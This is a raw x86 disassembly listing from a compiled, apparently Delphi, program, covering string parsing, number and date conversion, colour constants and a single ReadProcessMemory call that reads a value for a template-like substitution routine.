mov edx, dword [ebp - 0xe20]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0x150]
call fcn.00405298
test eax, eax
jle 0x54cb14
mov al, byte [0x553b8c]
push eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x148]
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x14c]
call fcn.00410c50
jmp case.0x54ab86.136
mov al, byte [0x553b90]
push eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x148]
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x14c]
call fcn.00410c50
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x154]
mov edx, 0x553864
call fcn.004052e4
lea eax, [ebp - 0x14c]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
lea eax, [ebp - 0x144]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
xor eax, eax
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x14c]
call fcn.004055dc
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jle 0x54cbbb
inc dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
inc ecx
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x14c]
call fcn.0043cfd0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jg 0x54cb9a
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
call fcn.0040b57c
jmp case.0x54ab86.136
lea edx, [ebp - 0xe28]
mov eax, dword [ebp - 0x1c]
call fcn.0040b05c
mov edx, dword [ebp - 0xe28]
lea eax, [ebp - 0x1c]
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0xe2c]
mov eax, dword [ebp - 0x1c]
call fcn.0040b028
mov edx, dword [ebp - 0xe2c]
lea eax, [ebp - 0x1c]
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x144]
call fcn.00404fd8
mov eax, dword [ebp - 0x1c]
call fcn.00405298
test eax, eax
jle 0x54cc72
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
add al, 0xd0
sub al, 0xa
jb 0x54cc67
lea eax, [ebp - 0xe30]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov dl, byte [edx + ecx - 1]
call fcn.004051c0
mov edx, dword [ebp - 0xe30]
lea eax, [ebp - 0x144]
call fcn.004052a0
inc dword [ebp - 0x14]
dec dword [ebp - 0x2a4]
jne 0x54cc31
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x144]
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x144]
call fcn.00404fd8
mov eax, dword [ebp - 0x1c]
call fcn.00405298
test eax, eax
jle 0x54ccea
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
add al, 0xd0
sub al, 0xa
jae 0x54ccdf
lea eax, [ebp - 0xe34]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov dl, byte [edx + ecx - 1]
call fcn.004051c0
mov edx, dword [ebp - 0xe34]
lea eax, [ebp - 0x144]
call fcn.004052a0
inc dword [ebp - 0x14]
dec dword [ebp - 0x2a4]
jne 0x54cca9
mov eax, dword [ebp - 0x144]
call fcn.00405298
test eax, eax
jle 0x54cd0c
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x144]
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553b5c
call fcn.004052e4
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xe38]
push eax
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xe3c]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov edx, dword [ebp - 0xe3c]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xe38]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xe40]
push eax
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xe44]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov edx, dword [ebp - 0xe44]
mov ecx, 2
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xe40]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
lea edx, [ebp - 0x240]
mov eax, dword [ebp - 0x148]
call fcn.0040b7d4
test al, al
je 0x54ce3a
lea edx, [ebp - 0x248]
mov eax, dword [ebp - 0x144]
call fcn.0040b7d4
test al, al
je 0x54ce3a
push dword [ebp - 0x244]
push dword [ebp - 0x248]
mov eax, dword [ebp - 0x240]
mov edx, dword [ebp - 0x23c]
call fcn.00406044
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553b5c
call fcn.004052e4
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xe48]
push eax
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xe4c]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov edx, dword [ebp - 0xe4c]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xe48]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xe50]
push eax
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xe54]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov edx, dword [ebp - 0xe54]
mov ecx, 2
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xe50]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
lea edx, [ebp - 0x240]
mov eax, dword [ebp - 0x148]
call fcn.0040b7d4
test al, al
je 0x54cf65
lea edx, [ebp - 0x248]
mov eax, dword [ebp - 0x144]
call fcn.0040b7d4
test al, al
je 0x54cf65
push dword [ebp - 0x244]
push dword [ebp - 0x248]
mov eax, dword [ebp - 0x240]
mov edx, dword [ebp - 0x23c]
call fcn.00405fc8
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
push 0x4000
push 0xc90fdaa2
push 0x2168c235
lea eax, [ebp - 0x1c]
call fcn.0040d188
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54d011
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54d00e
mov bl, 1
jmp 0x54d059
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54d059
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54cffd
test bl, bl
je 0x54d2ea
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
cmp dword [ebp - 0x28], 0
jle 0x54d29c
mov eax, dword [ebp - 0x144]
call fcn.00405298
test eax, eax
jle 0x54d29c
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xe58]
push eax
lea eax, [ebp - 0xe5c]
mov ecx, dword [ebp - 0x144]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xe5c]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov ecx, dword [ebp - 0xe58]
lea eax, [ebp - 0x144]
mov edx, 0x553864
call fcn.004052e4
lea eax, [ebp - 0x1c]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea eax, [ebp - 0x154]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea eax, [ebp - 0xe60]
push eax
mov ecx, 3
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov edx, dword [ebp - 0xe60]
lea eax, [ebp - 0x144]
call fcn.00405070
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
call fcn.0040b73c
test al, al
je 0x54d225
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x154]
call fcn.0040b73c
test al, al
je 0x54d225
lea edx, [ebp - 0x60]
mov eax, dword [ebp - 0x144]
call fcn.0040b73c
test al, al
je 0x54d225
mov eax, 0xe
sub eax, dword [ebp - 0x28]
mov ecx, 0xc
cdq
idiv ecx
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x64]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x64]
shl eax, 2
lea eax, [eax + eax*2]
add eax, dword [ebp - 0x28]
sub eax, 2
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x2c]
mov ecx, 0x64
cdq
idiv ecx
mov ecx, dword [ebp - 0x60]
add ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
test edx, edx
jns 0x54d1df
add edx, 3
sar edx, 2
add ecx, edx
sub ecx, eax
mov eax, dword [ebp - 0x2c]
mov ebx, 0x190
cdq
idiv ebx
add ecx, eax
mov eax, dword [ebp - 0x68]
mov edx, eax
shl eax, 5
sub eax, edx
mov ebx, 0xc
cdq
idiv ebx
add ecx, eax
mov eax, ecx
add eax, 0x1b58
mov ecx, 7
cdq
idiv ecx
mov eax, edx
lea edx, [ebp - 0x1c]
call fcn.0040b57c
jmp 0x54d2a9
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x54d292
lea ecx, [ebp - 0xe64]
mov eax, dword [0x590710]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc0]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe64]
mov eax, dword [ebp - 0x18]
add eax, 0x44e4
call fcn.0040502c
mov eax, dword [ebp - 0x18]
lea edi, [eax + 0x9c]
mov esi, 0x553ab4
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x18]
push eax
push fcn.0053347c
mov eax, dword [ebp - 0x18]
call fcn.00425d90
mov eax, dword [ebp - 0x18]
add eax, 0x44e4
call fcn.00404fd8
lea eax, [ebp - 0x1c]
call fcn.00404fd8
jmp 0x54d2a9
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
cmp byte [ebp - 0x195], 0
je 0x54d2cc
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0xffff00
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0xff0000
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0x808080
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0xff00ff
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0x808080
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0x8000
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0xff00
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0xc0c0c0
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0x80
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0x800000
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0x8080
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0x800080
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0xff
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0xc0c0c0
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0x808000
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0xffffff
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x1c]
mov eax, 0xffff
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0xc0]
mov al, byte [ebp + eax - 0x76f]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x54d6cc
mov eax, dword [ebp - 0xc0]
sub eax, 0xb2
je 0x54d643
dec eax
je 0x54d65b
dec eax
je 0x54d673
dec eax
je 0x54d68b
jmp 0x54d6a1
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5905a0]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
jmp 0x54d6a1
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590308]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
jmp 0x54d6a1
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590200]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
jmp 0x54d6a1
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5904fc]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x54d6e2
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x54d6ff
mov eax, dword [ebp - 0xc0]
mov byte [ebp + eax - 0x76f], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54d746
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54d743
mov bl, 1
jmp 0x54d78e
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54d78e
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54d732
test bl, bl
je 0x54d8cd
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
cmp dword [ebp - 0x28], 0
jle 0x54d87f
mov eax, dword [ebp - 0x144]
call fcn.00405298
test eax, eax
jle 0x54d87f
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0x1c]
call fcn.00404fd8
lea eax, [ebp - 0x154]
call fcn.00404fd8
lea eax, [ebp - 0xe68]
push eax
lea eax, [ebp - 0xe6c]
mov ecx, dword [ebp - 0x144]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xe6c]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xe68]
lea eax, [ebp - 0x144]
call fcn.00405070
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x230]
lea edx, [ebp - 0x22c]
mov eax, dword [ebp - 0x144]
call fcn.0052d600
cmp dword [ebp - 0x22c], 0
je 0x54d872
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x144]
call fcn.00405070
jmp 0x54d88c
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x4c]
call fcn.00405070
jmp 0x54d88c
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
cmp byte [ebp - 0x195], 0
je 0x54d8af
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54d919
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54d916
mov bl, 1
jmp 0x54d961
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54d961
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54d905
test bl, bl
je 0x54dd5d
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0x1c]
call fcn.00404fd8
lea eax, [ebp - 0x154]
call fcn.00404fd8
mov byte [ebp - 0x119], 0
cmp dword [ebp - 0x28], 0
jle 0x54dd0f
mov eax, dword [ebp - 0x144]
call fcn.00405298
test eax, eax
jle 0x54dd0f
xor eax, eax
push ebp
push 0x54dc75
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xe70]
mov ecx, dword [ebp - 0x144]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xe70]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
call fcn.0040b73c
test al, al
je 0x54dc64
mov eax, dword [ebp - 0xc0]
sub eax, 0xb7
je 0x54da4e
dec eax
je 0x54dc28
dec eax
je 0x54dc3a
dec eax
je 0x54dc4f
jmp 0x54dc6b
mov eax, dword [ebp - 0x18]
add eax, 0x105be0
call fcn.00404fd8
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x105bdc], edx
lea eax, [ebp - 0x1c]
call fcn.00404fd8
lea eax, [ebp - 0x4c]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov dword [ebp - 0x68], 1
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105bc0]
mov edx, dword [ebp - 0x144]
mov eax, 0x553a68
call fcn.0043cfd0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jle 0x54db32
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x144]
mov eax, 0x553a90
call fcn.0043cfd0
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jle 0x54db32
lea eax, [ebp - 0xe74]
push eax
lea eax, [ebp - 0xe7c]
push eax
mov ecx, dword [ebp - 0x60]
sub ecx, dword [ebp - 0x28]
dec ecx
mov edx, dword [ebp - 0x28]
inc edx
mov eax, dword [ebp - 0x144]
call fcn.004054f8
mov ecx, dword [ebp - 0xe7c]
lea eax, [ebp - 0xe78]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xe78]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xe74]
lea edx, [ebp - 0x68]
call fcn.0040b73c
test al, al
jne 0x54db32
mov dword [ebp - 0x68], 1
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x4c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov dword [ebp - 0x84], 3
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x4c]
mov dl, 0x25
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x28], eax
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
and eax, 0xff
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
push 1
mov ecx, dword [ebp - 0x28]
mov dl, 0x25
mov eax, dword [ebp - 0x18]
call fcn.00554a98
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
and eax, 0xff00
shr eax, 8
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
